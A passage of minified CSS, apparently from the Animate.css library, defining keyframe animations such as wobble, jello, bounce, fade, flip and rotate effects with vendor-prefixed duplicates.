rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{from{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:none;transform:none}}@keyframes wobble{from{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:none;transform:none}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes jello{from,11.1%,to{-webkit-transform:none;transform:none}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}@keyframes jello{from,11.1%,to{-webkit-transform:none;transform:none}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}.jello{-webkit-animation-name:jello;animation-name:jello;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes bounceIn{from,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes bounceIn{from,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInDown{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInDown{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInLeft{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInRight{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{from,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{from{opacity:0}to{opacity:1}}@keyframes fadeIn{from{opacity:0}to{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{from{opacity:1}to{opacity:0}}@keyframes fadeOut{from{opacity:1}to{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:none;transform:none;opacity:1}}@keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:none;transform:none;opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left 